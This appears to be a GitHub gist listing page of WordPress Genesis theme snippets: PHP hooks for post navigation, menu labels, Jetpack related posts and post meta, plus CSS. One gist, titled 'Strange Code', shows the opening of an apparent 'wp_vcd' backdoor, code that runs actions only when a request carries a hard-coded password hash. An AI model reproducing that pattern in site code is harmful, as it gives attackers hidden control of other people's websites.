Skip to content

Instantly share code, notes, and snippets.

@topleague
topleague / prev-next-post-genesis.php
Created August 24, 2019 14:12
Previous/Next Post in Genesis
// ADD NEXT/PREV POST
// https://sridharkatakam.com/add-links-previous-post-next-post-single-posts-genesis/
add_action( 'genesis_after_entry', 'custom_adjacent_entry_nav', 9 );
function custom_adjacent_entry_nav() {
if ( !is_singular( 'post' ) ) {
return;
}
@topleague
topleague / remove-menu-label-parallax-pro.php
Created August 17, 2019 06:35
Remove "MENU" Label from Genesis Parallax Pro Responsive Menu
// Define our responsive menu settings.
function parallax_responsive_menu_settings() {
$settings = array(
'mainMenu' => __( '', 'parallax-pro' ),
'subMenu' => __( '', 'parallax-pro' ),
'menuClasses' => array(
'combine' => array(
'.nav-header',
'.nav-primary',
@topleague
topleague / remove-word-menu-word-genesis-3.php
Created August 17, 2019 02:32
Remove Word “MENU” in Genesis 3.0
return array(
'script' => array(
'mainMenu' => __( '', 'genesis-sample' ),
'menuClasses' => array(
'others' => array( '.nav-primary' ),
),
),
'extras' => array(
'media_query_width' => '960px',
),
@topleague
topleague / redesign-related-post-genesis.txt
Created August 17, 2019 01:29
Redesign Related Posts in WordPress (CSS)
/*------------- Change Font Size of Related Post Title -------------*/
#jp-relatedposts .jp-relatedposts-items .jp-relatedposts-post .jp-relatedposts-post-title a {
font-size: 16px!important;
font-weight: bold!important;
font-family: sans-serif;
}
/*------------- Change Fonts of Related Posts Headline -------------*/
#jp-relatedposts h3.jp-relatedposts-headline em {
font-weight: 900;
@topleague
topleague / redesign-related-post-genesis.php
Last active August 17, 2019 01:21
Redesign Related Posts in WordPress
//* Remove in and quotes around category names (in Jetpack Related Posts)
add_filter( 'jetpack_relatedposts_post_category_context', 'lwp_customize_jp_context', 10, 2 );
function lwp_customize_jp_context( $post_cat_context, $category ) {
$post_cat_context = sprintf(
// _x( 'In "%s"', 'in {category/tag name}', 'jetpack' ), /* Default */
_x( '%s', 'in {category/tag name}', 'jetpack' ),
$category->name
);
return $post_cat_context;
@topleague
topleague / post-meta-post-info.css
Created February 13, 2019 07:01
Post Meta and Post Info CSS
/* --- Post Meta Styling ---*/
.entry-categories, .entry-tags {
display: inline-block;
border: 1px solid;
padding: 0 10px;
background: #1982df;
color: white;
box-shadow: 1px 1px #fff;
text-transform: uppercase;
font-weight: bold;
@topleague
topleague / filter-post-meta-post-info.php
Created February 13, 2019 06:56
Filter Post Meta and Post Info in Genesis
// Relocate Post Meta
remove_action( 'genesis_entry_footer', 'genesis_post_meta' );
add_action( 'genesis_entry_header', 'genesis_post_meta', 9 );
// Filter Post Meta and Use it Condtionally
add_filter( 'genesis_post_meta', 'leaguewp_post_meta_filter' );
function leaguewp_post_meta_filter($post_meta) {
if ( !is_page() ) {
$post_meta = '[post_categories before=""] [post_tags before=""]';
return $post_meta;
@topleague
topleague / relocate-post-meta-post-info.php
Created February 13, 2019 06:53
Relocate Post Meta and Post Info
// Relocate post info
remove_action( 'genesis_entry_header', 'genesis_post_info', 12 );
add_action( 'genesis_entry_footer', 'genesis_post_info', 9 );
//* Customize Post Info
add_filter( 'genesis_post_info', 'leaguewp_post_info_filter' );
function leaguewp_post_info_filter($post_info) {
$post_info = 'BY [post_author_posts_link] • [post_date]';
return $post_info;
}
@topleague
topleague / strange-code.php
Created January 2, 2019 12:36
Strange Code
<?php
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '4774c4b1a8af859f72ad92f7d34a161b'))
{
$div_code_name="wp_vcd";
switch ($_REQUEST['action'])
{
@topleague
topleague / genesis-responsive-vertical-timeline.css
Last active August 17, 2018 14:57
CSS for Vertical Timeline in Genesis Framework (Responsive)
@media only screen and (max-width: 860px) {
.timeline-body .site-inner {
padding: 5% 0 5% 5%;
}
.timeline::after {
left: 0;
}